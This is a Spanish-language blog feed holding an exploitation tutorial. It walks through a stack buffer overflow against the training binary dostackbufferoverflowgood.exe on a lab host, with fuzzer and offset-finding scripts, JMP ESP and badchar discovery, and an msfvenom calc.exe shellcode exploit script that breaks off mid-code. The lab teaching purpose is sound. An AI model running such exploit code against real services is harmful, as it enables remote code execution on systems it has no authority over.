Jekyll2022-06-16T18:33:28-04:00http://www.w0lff4ng.org/feed.xmlWF-NetworkingWF-Networking Compartiendo conocimientoW0lf_F4ngms@w0lff4ng.orgStack Buffer Overflow básico - Parte 22020-09-02T11:58:47-04:002020-09-02T11:58:47-04:00http://www.w0lff4ng.org/stack-buffer-overflow-basico-parte-2<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/banner.png" alt="bof" /></p>
<p>Este post es la continuación de la serie de <a href="https://www.w0lff4ng.org/stack-buffer-overflow-basico-parte-1/">Stack Buffer Overflow básico</a>.</p>
<p>Se revisará la explotación del binario <code class="language-plaintext highlighter-rouge">dostackbufferoverflowgood.exe</code>, mostrando como se puede abrir una calculadora en el host remoto y cómo obtener una shell reversa.</p>
<p>Lo primero a realizar es adjuntar el proceso del binario al debugger (en este caso <a href="https://www.immunityinc.com/products/debugger/">Immunity Debugger</a>):</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/attach-1.png" alt="01" /></p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/attach-2-2.png" alt="02" /></p>
<blockquote>
<p>NOTA: en caso de que no se encuentre en ejecución el programa, este puede ser abierto usando el debugger.</p>
</blockquote>
<p>Al adjuntar o abrir el programa con Immunity, este queda en estado <code class="language-plaintext highlighter-rouge">Paused</code>; por lo tanto, es necesario iniciarlo:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/run-1.png" alt="03" /></p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/run-2.png" alt="04" /></p>
<p>Ahora que se encuentra iniciado el programa, debemos realizar un escaneo de puertos para poder identificar en qué puerto se encuentra corriendo el servicio:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/scan-1-2.png" alt="05" /></p>
<p>En este caso, el servicio se encuentra corriendo en el puerto 31337 (anteriormente identificado en la <a href="https://github.com/justinsteven/dostackbufferoverflowgood/blob/master/dostackbufferoverflowgood_tutorial.pdf">documentación</a> del binario).</p>
<p>Si nos conectamos a dicho puerto usando <a href="https://linux.die.net/man/1/nc">netcat</a> e introducimos caracteres en este, vemos que nos responde con un <code class="language-plaintext highlighter-rouge">Hello [string]!!!</code>:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/nc-1.png" alt="06" /></p>
<p>Al validar por el lado del servidor (binario), vemos que este registra los bytes recibidos:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/server-1.png" alt="07" /></p>
<h2 id="fuzzer">Fuzzer</h2>
<p>Para saber el momento en que la aplicación crashea, podemos usar el siguiente fuzzer, el cual, es una herramienta que envía datos de forma incremental para reconocer un valor aproximado de cuando el servicio deja de funcionar:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python3
</span><span class="kn">import</span> <span class="nn">socket</span>
<span class="c1"># Datos de conexion
</span><span class="n">rhost</span> <span class="o">=</span> <span class="s">"192.168.200.136"</span>
<span class="n">rport</span> <span class="o">=</span> <span class="mi">31337</span>
<span class="c1"># Datos a enviar: A en hexa
</span><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x41</span><span class="s">"</span><span class="o">*</span><span class="mi">100</span>
<span class="k">try</span><span class="p">:</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"sent "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)))</span>
<span class="c1"># Creacion del socket object TCP
</span> <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="c1"># Conexion al servicio
</span> <span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">rhost</span><span class="p">,</span> <span class="n">rport</span><span class="p">))</span>
<span class="c1"># Envio del payload
</span> <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="c1"># Recepcion de los datos enviados por el server
</span> <span class="n">data</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x41</span><span class="s">"</span><span class="o">*</span><span class="mi">100</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">err</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Error: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">err</span><span class="p">))</span>
</code></pre></div></div>
<blockquote>
<p>NOTA: en python 3 es necesario enviar los datos como bytes, por eso se agrega la <code class="language-plaintext highlighter-rouge">b</code> antes de los strings.</p>
</blockquote>
<p>Al ejecutar el script, vemos que se envían 200 <code class="language-plaintext highlighter-rouge">A</code> y luego el servidor deja de responder:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/fuzzer-1.png" alt="08" /></p>
<p>Si revisamos el debugger, se muestra que el valor del <code class="language-plaintext highlighter-rouge">EIP</code> es <code class="language-plaintext highlighter-rouge">41414141</code>, que corresponde a nuestras letras <code class="language-plaintext highlighter-rouge">A</code> en hexadecimal:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/debugger-2-1.png" alt="09" /></p>
<p>Sabemos que se produce una denegación de servicio enviando 200 caracteres debido a que se sobreescribe el <code class="language-plaintext highlighter-rouge">EIP</code>, y ahora, es necesario validar con cuantos caracteres se produce esto.</p>
<p>Para lograrlo, mostraré el uso de dos herramientas, una se encuentra entre los scripts que posee <a href="https://www.metasploit.com/">Metasploit Framework</a>, y el otro es la herramienta <a href="https://github.com/corelan/mona">mona</a>.</p>
<p>En este proceso, debemos restaurar el servicio con cada prueba, y esto se puede lograr cerrando y volviendo a abrir el debugger y adjuntando nuevamente el servicio. También, tenemos la opción de hacer clic a la tecla restart de Immunity:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/debugger-1.png" alt="10" /></p>
<blockquote>
<p>NOTA: no olvidar hacer clic en run.</p>
</blockquote>
<h2 id="obteniendo-el-offset">Obteniendo el offset</h2>
<p>El offset el la cantidad de caracteres que se deben enviar antes de sobreescribir el <code class="language-plaintext highlighter-rouge">EIP</code>.</p>
<h3 id="pattern-createoffset-metasploit">Pattern Create/Offset Metasploit</h3>
<p>En esta opción usaremos los scripts <a href="https://github.com/lattera/metasploit/blob/master/tools/pattern_create.rb"><code class="language-plaintext highlighter-rouge">pattern_create</code></a> y <a href="https://github.com/lattera/metasploit/blob/master/tools/pattern_offset.rb"><code class="language-plaintext highlighter-rouge">pattern_offset</code></a> de Metasploit.</p>
<p>Lo primero es crear un patrón de caracteres usando <code class="language-plaintext highlighter-rouge">pattern_create</code>. En mi caso, como estoy usando Kali Linux, la ruta de este script es <code class="language-plaintext highlighter-rouge">/usr/share/metasploit-framework/tools/exploit/pattern_create.rb</code>:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/share/metasploit-framework/tools/exploit/pattern_create.rb <span class="nt">-l</span> 200
</code></pre></div></div>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/pc-1-1.png" alt="11" /></p>
<p>Ahora copiamos los 200 caracteres generados en un script similar al anterior y lo ejecutamos:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python3
</span><span class="kn">import</span> <span class="nn">socket</span>
<span class="n">rhost</span> <span class="o">=</span> <span class="s">"192.168.200.136"</span>
<span class="n">rport</span> <span class="o">=</span> <span class="mi">31337</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"</span>
<span class="c1"># Creacion del socket object
</span><span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="c1"># Conexion al servicio
</span><span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">rhost</span><span class="p">,</span> <span class="n">rport</span><span class="p">))</span>
<span class="c1"># Enviamos nuestro payload
</span><span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="c1"># Recibimos los datos de la comunicacion
</span><span class="n">data</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</code></pre></div></div>
<p>Con esto generamos la denegación de servicio del programa y podemos observar que el <code class="language-plaintext highlighter-rouge">EIP</code> es diferente a los <code class="language-plaintext highlighter-rouge">41</code> anteriores:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/debugger-2-1-1.png" alt="12" /></p>
<p>Esto se debe a que el valor del string enviado es diferente, pero con este nuevo valor, podemos calcular el offset.</p>
<p>Copiamos el valor del <code class="language-plaintext highlighter-rouge">EIP</code> y ahora ejecutamos el script <code class="language-plaintext highlighter-rouge">pattern_offset</code>:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb <span class="nt">-q</span> 39654138
</code></pre></div></div>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/po-1.png" alt="13" /></p>
<p>Ya con esto sabemos que si enviamos 146 caracteres más otros 4, podemos sobreescribir el <code class="language-plaintext highlighter-rouge">EIP</code>. Realizamos una prueba de concepto modificando el valor del <code class="language-plaintext highlighter-rouge">payload</code> por lo siguiente:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x41</span><span class="s">"</span><span class="o">*</span><span class="mi">146</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"ABCD"</span>
</code></pre></div></div>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/debugger-3.png" alt="14" /></p>
<p>El valor del <code class="language-plaintext highlighter-rouge">EIP</code> es <code class="language-plaintext highlighter-rouge">44434241</code>, que son las representaciones de <code class="language-plaintext highlighter-rouge">DCBA</code> (en little-endian).</p>
<h3 id="pattern-createoffset-mona">Pattern Create/Offset mona</h3>
<p>Mona es un script desarrollado por Coleran, el cual, dentro de sus funcionalidades posee un pattern create y un pattern offset.</p>
<p>Para poder usar este script en conjunto con Immunity debugger, este debe ser descargado y almacenado en el directorio <code class="language-plaintext highlighter-rouge">PyCommands</code>:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/mona-1-1.png" alt="15" /></p>
<p>Luego de cargar mona en el directorio del debugger, abrimos Immunity y creamos un entorno de trabajo con el script, donde, se almacenarán los datos y archivos generados. Escribimos el comando en la barra inferior del debugger:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">!</span><span class="n">mona</span> <span class="n">config</span> <span class="o">-</span><span class="nb">set</span> <span class="n">workingfolder</span> <span class="n">C</span><span class="p">:</span>\<span class="n">ImmunityLogs</span>\<span class="o">%</span><span class="n">p</span>
</code></pre></div></div>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/mona-2.png" alt="16" /></p>
<p>Ahora creamos un patrón con el siguiente comando:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">!</span><span class="n">mona</span> <span class="n">pc</span> <span class="mi">200</span>
</code></pre></div></div>
<p>Al ejecutar este comando, vemos que se genera un archivo dentro del directorio generados anteriormente:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/mona-3-1.png" alt="17" /></p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/mona-4-1.png" alt="18" /></p>
<p>Luego de generar el crasheo del servidor y obtener el valor del <code class="language-plaintext highlighter-rouge">EIP</code>, usamos el siguiente comando para obtener el valor del offset:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">!</span><span class="n">mona</span> <span class="n">po</span> <span class="mi">39654138</span>
</code></pre></div></div>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/mona-5.png" alt="19" /></p>
<h2 id="generando-un-shellcode">Generando un shellcode</h2>
<p>Ahora que tenemos el valor del offset podemos empezar a generar nuestro shellcode, pero antes de eso, debemos encontrar lo siguiente:</p>
<ul>
<li>Una dirección de un <code class="language-plaintext highlighter-rouge">JMP ESP</code></li>
<li>Badchars</li>
</ul>
<h3 id="encontrando-la-dirección-del-jmp-esp">Encontrando la dirección del JMP ESP</h3>
<p>Cuando enviamos nuestro shellcode este iniciará en el <code class="language-plaintext highlighter-rouge">ESP</code>, por lo tanto, lo primero es encontrar una dirección que apunte al <code class="language-plaintext highlighter-rouge">ESP</code>.</p>
<p>Lo podríamos identificar revisando la dirección del registro en el debugger, pero esta puede cambiar de forma dinámica, por lo tanto, es necesario encontrar una dirección fija en la memoria que salte (<code class="language-plaintext highlighter-rouge">JMP</code>) o que llame (<code class="language-plaintext highlighter-rouge">CALL</code>) a <code class="language-plaintext highlighter-rouge">ESP</code>.</p>
<p>Si tenemos un ambiente que tiene <code class="language-plaintext highlighter-rouge">ASLR</code> deshabilitado, podemos usar la librería <code class="language-plaintext highlighter-rouge">kernel32.dll</code> u otra que utilice el programa, debido a que estas se almacenan en una dirección de memoria fija.</p>
<p>Para poder encontrar estas direcciones, podemos usar una funcionalidad de <code class="language-plaintext highlighter-rouge">mona</code>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">!</span><span class="n">mona</span> <span class="n">jmp</span> <span class="o">-</span><span class="n">r</span> <span class="n">esp</span>
</code></pre></div></div>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/mona-8.png" alt="20" /></p>
<p>Cuando encontramos las direcciones, debemos validar que no tengan las protecciones habilitadas (en especial <code class="language-plaintext highlighter-rouge">ASLR</code>). En este caso, podemos usar ambas direcciones.</p>
<p>Estas deben ser cambiadas a little-endian para poder ser enviadas en el payload:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">address</span> <span class="o">=</span> <span class="s">"0x080414c3"</span>
<span class="n">address_little</span><span class="o">-</span><span class="n">endian</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xc3\x14\x04\x08</span><span class="s">"</span>
</code></pre></div></div>
<h3 id="encontrando-badchars">Encontrando Badchars</h3>
<p>Los caracteres que no se representan bien en memoria son badchars, y estos pueden romper el código de la shell.</p>
<p>El más común es <code class="language-plaintext highlighter-rouge">\x00</code>, que representa a un <code class="language-plaintext highlighter-rouge">NULL</code>.</p>
<p>Para ver la lista de caracteres, podemos hacer un <code class="language-plaintext highlighter-rouge">man ascii</code> en linux:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/badchar-1.png" alt="21" /></p>
<p>Estos caracteres deben ser enviados al servidor y ver cómo los procesa. Usamos <code class="language-plaintext highlighter-rouge">mona</code> para generar el string a enviar:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">!</span><span class="n">mona</span> <span class="nb">bytearray</span> <span class="err">–</span><span class="n">cpb</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span>
</code></pre></div></div>
<blockquote>
<p>NOTA: usamos la opción -cpb para omitir el carácter <code class="language-plaintext highlighter-rouge">NULL</code>.</p>
</blockquote>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/mona-6.png" alt="22" /></p>
<p>Modificamos nuestro script para que quede de la siguiente forma:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python3
</span><span class="kn">import</span> <span class="nn">socket</span>
<span class="n">rhost</span> <span class="o">=</span> <span class="s">"192.168.200.136"</span>
<span class="n">rport</span> <span class="o">=</span> <span class="mi">31337</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"</span>
<span class="n">badchar</span> <span class="o">=</span> <span class="p">(</span>
<span class="sa">b</span><span class="s">"</span><span class="se">\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20</span><span class="s">"</span>
<span class="sa">b</span><span class="s">"</span><span class="se">\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40</span><span class="s">"</span>
<span class="sa">b</span><span class="s">"</span><span class="se">\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60</span><span class="s">"</span>
<span class="sa">b</span><span class="s">"</span><span class="se">\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80</span><span class="s">"</span>
<span class="sa">b</span><span class="s">"</span><span class="se">\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0</span><span class="s">"</span>
<span class="sa">b</span><span class="s">"</span><span class="se">\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0</span><span class="s">"</span>
<span class="sa">b</span><span class="s">"</span><span class="se">\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0</span><span class="s">"</span>
<span class="sa">b</span><span class="s">"</span><span class="se">\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff</span><span class="s">"</span>
<span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">badchar</span>
<span class="c1"># Creacion del socket object
</span><span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="c1"># Conexion al servicio
</span><span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">rhost</span><span class="p">,</span> <span class="n">rport</span><span class="p">))</span>
<span class="c1"># Enviamos nuestro payload
</span><span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="c1"># Recibimos los datos de la comunicacion
</span><span class="n">data</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</code></pre></div></div>
<p>Seguimos el <code class="language-plaintext highlighter-rouge">ESP</code> en el <code class="language-plaintext highlighter-rouge">Dump</code> de la memoria (clic derecho > Follow in Dump):</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/debugger-4.png" alt="23" /></p>
<p>Validamos cuales caracteres faltan:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/debugger-5.png" alt="24" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00 01 02 03 04 05 06 07
08 09 00 0B 0C 0D 0E 0F
10 11 12 13 14 15 16 17
18 19 1A 1B 1C 1D 1E 1F
20 21 22 23 24 25 26 27
28 29 2A 2B 2C 2D 2E 2F
30 31 32 33 34 35 36 37
38 39 3A 3B 3C 3D 3E 3F
40 41 42 43 44 45 46 47
48 49 4A 4B 4C 4D 4E 4F
50 51 52 53 54 55 56 57
58 59 5A 5B 5C 5D 5E 5F
60 61 62 63 64 65 66 67
68 69 6A 6B 6C 6D 6E 6F
70 71 72 73 74 75 76 77
78 79 7A 7B 7C 7D 7E 7F
80 81 82 83 84 85 86 87
88 89 8A 8B 8C 8D 8E 8F
90 91 92 93 94 95 96 97
98 99 9A 9B 9C 9D 9E 9F
A0 A1 A2 A3 A4 A5 A6 A7
A8 A9 AA AB AC AD AE AF
B0 B1 B2 B3 B4 B5 B6 B7
B8 B9 BA BB BC BD BE BF
C0 C1 C2 C3 C4 C5 C6 C7
C8 C9 CA CB CC CD CE CF
D0 D1 D2 D3 D4 D5 D6 D7
D8 D9 DA DB DC DD DE DF
E0 E1 EA EB EC ED EE EF
F0 F1 F2 F3 F4 F5 F6 F7
F8 F9 FA FB FC FD FE FF
</code></pre></div></div>
<p>Si vemos los caracteres que nos faltan, en este caso solo es <code class="language-plaintext highlighter-rouge">0A</code>, por lo tanto, los badchars de este servicio son <code class="language-plaintext highlighter-rouge">\x00</code> y <code class="language-plaintext highlighter-rouge">\x0A</code>.</p>
<h3 id="abriendo-una-calculadora">Abriendo una calculadora</h3>
<p>Una prueba de concepto de explotación de un buffer overflow es abrir una calculadora, por lo tanto, si la explotación se realiza de forma exitosa, se abrirá la calculadora de Windows al momento de ejecutar nuestro script.</p>
<p>Para esto, generamos nuestro shellcode con <code class="language-plaintext highlighter-rouge">msfvenom</code> indicando los badchars encontrados:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfvenom <span class="nt">-p</span> windows/exec <span class="nv">CMD</span><span class="o">=</span>calc.exe <span class="nt">-b</span> <span class="s1">'\x00\x0A'</span> <span class="nt">-f</span> python
</code></pre></div></div>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-2/shell-1.png" alt="25" /></p>
<p>Modificamos nuestro script incorporando la dirección encontrada, agregamos nuestro shellcode y unos <code class="language-plaintext highlighter-rouge">NOP</code>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python3
</span><span class="kn">import</span> <span class="nn">socket</span>
<span class="n">rhost</span> <span class="o">=</span> <span class="s">"192.168.200.136"</span>
<span class="n">rport</span> <span class="o">=</span> <span class="mi">31337</span>
<span class="n">address</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xc3\x14\x04\x08</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x41</span><span class="s">"</span><span class="o">*</span><span class="mi">146</span> <span class="o">+</span> <span class="n">address</span>
<span class="n">nops</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x90</span><span class="s">"</span><span class="o">*</span><span class="mi">20</span>
<span class="n">buf</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xbf\x05\xca\x04\xca\xdb\xd3\xd9\x74\x24\xf4\x5b\x29</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xc9\xb1\x31\x31\x7b\x13\x03\x7b\x13\x83\xeb\xf9\x28</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xf1\x36\xe9\x2f\xfa\xc6\xe9\x4f\x72\x23\xd8\x4f\xe0</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x27\x4a\x60\x62\x65\x66\x0b\x26\x9e\xfd\x79\xef\x91</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xb6\x34\xc9\x9c\x47\x64\x29\xbe\xcb\x77\x7e\x60\xf2</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xb7\x73\x61\x33\xa5\x7e\x33\xec\xa1\x2d\xa4\x99\xfc</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xed\x4f\xd1\x11\x76\xb3\xa1\x10\x57\x62\xba\x4a\x77</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x84\x6f\xe7\x3e\x9e\x6c\xc2\x89\x15\x46\xb8\x0b\xfc</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x97\x41\xa7\xc1\x18\xb0\xb9\x06\x9e\x2b\xcc\x7e\xdd</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xd6\xd7\x44\x9c\x0c\x5d\x5f\x06\xc6\xc5\xbb\xb7\x0b</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x93\x48\xbb\xe0\xd7\x17\xdf\xf7\x34\x2c\xdb\x7c\xbb</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xe3\x6a\xc6\x98\x27\x37\x9c\x81\x7e\x9d\x73\xbd\x61</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x7e\x2b\x1b\xe9\x92\x38\x16\xb0\xf8\xbf\xa4\xce\x4e</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xbf\xb6\xd0\xfe\xa8\x87\x5b\x91\xaf\x17\x8e\xd6\x40</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x52\x93\x7e\xc9\x3b\x41\xc3\x94\xbb\xbf\x07\xa1\x3f</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x4a\xf7\x56\x5f\x3f\xf2\x13\xe7\xd3\x8e\x0c\x82\xd3</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x3d\x2c\x87\xb7\xa0\xbe\x4b\x16\x47\x47\xe9\x66</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">nops</span> <span class="o">+</span> <span class="n">buf</span>
<span class="c1"># Creacion del socket object
</span><span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="c1"># Conexion al servicio
</span><span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">rhost</span><span class="p">,</span> <span class="n">rport</span><span class="p">))</span>
<span class="c1"># Enviamos nuestro payload
</span><span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="c1"># Recibimos los datos de la comunicacion
